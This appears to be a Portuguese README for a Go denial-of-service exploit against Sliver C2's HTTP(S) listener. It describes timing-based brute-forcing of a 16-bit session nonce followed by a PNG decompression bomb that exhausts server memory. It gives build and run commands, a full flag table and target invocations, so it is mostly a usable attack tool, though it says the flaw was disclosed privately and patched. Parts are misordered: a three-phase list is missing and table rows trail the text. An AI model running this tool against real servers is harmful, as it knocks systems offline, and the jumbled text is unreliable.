
Sliver HTTP(S) C2 PNG bomb DoS exploit — GHSA-663m-7x7m-g4fw (CVE-2026-77622)
Exploit de negação de serviço para o listener HTTP(S) do Sliver C2. Força bruta no nonce de codificação PNG por sessão e entrega uma bomba de descompressão que esgota a memória do servidor.
Publicado como GHSA-663m-7x7m-g4fw.
O canal C2 HTTP(S) do Sliver encapsula mensagens dentro de imagens PNG. Cada sessão recebe um nonce aleatório no intervalo [1, 65537), e o servidor só decodifica dados PNG de requisições cujo parâmetro de consulta ?n= corresponda ao nonce da sessão. Isso é um mecanismo de roteamento, não uma verificação de autenticação — o espaço de chaves é de 16 bits.
O servidor decodifica o PNG com image.Decode() do Go, que aloca largura × altura × bytes_por_pixel em memória. Um arquivo PNG com dimensões declaradas de 32767×32767 RGBA comprime para cerca de 3 KB na transmissão, mas descomprime para mais de 4 GB em memória. O servidor não impõe limite nas dimensões decodificadas.
O exploit funciona em três fases:
Versões do Sliver C2 anteriores à correção referenciada em GHSA-663m-7x7m-g4fw. Qualquer servidor Sliver executando um listener HTTP ou HTTPS está exposto.
go build -o pngboomer
Sem dependências externas. Apenas biblioteca padrão.
./pngboomer -url http://target:8080/ [opções]
| Flag | Padrão | Descrição |
|---|---|---|
-url | http://127.0.0.1:8080/ | URL base do C2 HTTP do Sliver |
-workers | 8 | Concorrência do escaneamento |
-probe-w | 2000 | Largura do PNG de sonda |
-probe-h | 2000 | Altura do PNG de sonda |
-probe-color | 2 | Tipo de cor da sonda (2=RGB, 6=RGBA) |
-kill-w | 32767 | Largura do PNG de kill |
-kill-h | 32767 | Altura do PNG de kill |
-kill-color | 6 | Tipo de cor do kill (2=RGB, 6=RGBA) |
-threshold-ms | 50 | Piso mínimo de tempo de resposta para detecção de nonce |
-outlier-mult | 15.0 | Limiar adaptativo = p99 da linha de base × este valor |
-calibrate | 16 | Número de amostras de calibração |
-verify | 3 | Contagem de re-sondas por nonce candidato |
-max-nonce | 65537 | Topo do intervalo de nonces (módulo do Sliver) |
-probe-timeout | 5s | Timeout HTTP por sonda |
-kill-timeout | 180s | Timeout HTTP da requisição de kill |
-target-cap-mb | 10240 | Limite de memória declarado do alvo (verificação de segurança) |
-nonce | 0 | Pular o escaneamento, usar este nonce diretamente |
-scan-only | false | Encontrar o nonce e imprimi-lo sem enviar o kill |
-no-confirm | false | Pular a sondagem TCP para morte do alvo após o kill |
-no-color |
Escaneamento e kill padrão contra um alvo Docker local:
./pngboomer -url http://127.0.0.1:8080/ -target-cap-mb 10240
Apenas escaneamento (encontrar o nonce sem matar):
./pngboomer -url https://c2.target.com/ -scan-only
Pular o escaneamento quando você já sabe o nonce:
./pngboomer -url http://target:8080/ -nonce 41337
A bomba de kill causa uma decodificação PNG de vários GB no alvo. Ao testar, execute o servidor Sliver dentro de um contêiner Docker com --memory=<N>g e passe -target-cap-mb N para que a ferramenta recuse combinações perigosas de worker/sonda que excederiam a memória do alvo.
O PNG de sonda é grande o suficiente para que a decodificação leve visivelmente mais tempo do que a rejeição de caminho rápido do servidor para um nonce errado. O escaneamento embaralha o intervalo de nonces e o distribui entre goroutines de workers. Cada worker envia o PNG de sonda com um nonce candidato e mede o tempo de resposta.
Quando uma resposta excede o limiar adaptativo (o maior entre -threshold-ms e p99_da_linha_de_base × outlier-mult), o candidato é re-sondado -verify vezes. Se a maioria das re-sondas também exceder o limiar, o nonce é confirmado. Se não, o candidato é colocado na lista negra e o escaneamento continua. Até 8 "blips" de falso positivo são tolerados antes que o escaneamento desista.
Reportado à Bishop Fox através do processo de advisory privado do GitHub. CalebKingan escreveu o patch.
| false |
| Desabilitar saída de cor ANSI |
-silent | false | Apenas imprimir o nonce descoberto no stdout |